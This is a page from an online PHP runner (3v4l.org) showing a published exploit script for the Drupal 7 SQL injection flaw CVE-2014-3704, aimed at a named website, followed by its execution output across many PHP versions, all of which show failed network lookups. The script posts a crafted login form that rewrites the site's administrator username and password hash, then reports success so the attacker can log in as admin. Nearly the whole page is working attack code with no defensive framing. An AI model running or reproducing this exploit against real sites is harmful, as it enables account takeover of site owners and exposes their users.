3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php #-----------------------------------------------------------------------------# # Exploit Title: Drupal core 7.x - SQL Injection # # Date: Oct 16 2014 # # Exploit Author: Dustin Dörr # # Software Link: http://www.drupal.com/ # # Version: Drupal core 7.x versions prior to 7.32 # # CVE: CVE-2014-3704 # #-----------------------------------------------------------------------------# $url = 'http://animepavilion.com/drupal/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username admin and password admin at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; }
Output for 5.5.24 - 5.5.32, 5.5.34 - 5.6.17, 5.6.20 - 5.6.28, 7.0.0 - 7.0.3, 7.0.5 - 7.1.0
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/c62Io on line 22 Warning: file_get_contents(http://animepavilion.com/drupal/?q=node&destination=node): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/c62Io on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 5.2.6 - 5.4.45, 5.5.33, 5.6.18 - 5.6.19, 7.0.4
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: System error in /in/c62Io on line 22 Warning: file_get_contents(http://animepavilion.com/drupal/?q=node&destination=node): failed to open stream: php_network_getaddresses: getaddrinfo failed: System error in /in/c62Io on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for hhvm-3.12.0
Warning: Failed to open http://animepavilion.com/drupal/?q=node&destination=node (Could not resolve host: animepavilion.com) in /in/c62Io on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for hhvm-3.10.0

Process exited with code 153.
Output for 5.0.3 - 5.2.5
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: System error in /in/c62Io on line 22 Warning: file_get_contents(http://animepavilion.com/drupal/?q=node&destination=node): failed to open stream: Connection refused in /in/c62Io on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 5.0.1 - 5.0.2
Warning: file_get_contents(): php_network_getaddresses: gethostbyname failed in /in/c62Io on line 22 Warning: file_get_contents(http://animepavilion.com/drupal/?q=node&destination=node): failed to open stream: Resource temporarily unavailable in /in/c62Io on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 5.0.0
Warning: file_get_contents(): php_network_getaddresses: gethostbyname failed in /in/c62Io on line 22 Warning: file_get_contents(http://animepavilion.com/drupal/?q=node&destination=node): failed to open stream: Bad file descriptor in /in/c62Io on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.
Output for 4.3.0 - 4.4.9
Warning: file_get_contents() expects at most 2 parameters, 3 given in /in/c62Io on line 22 Error! Either the website isn't vulnerable, or your Internet isn't working.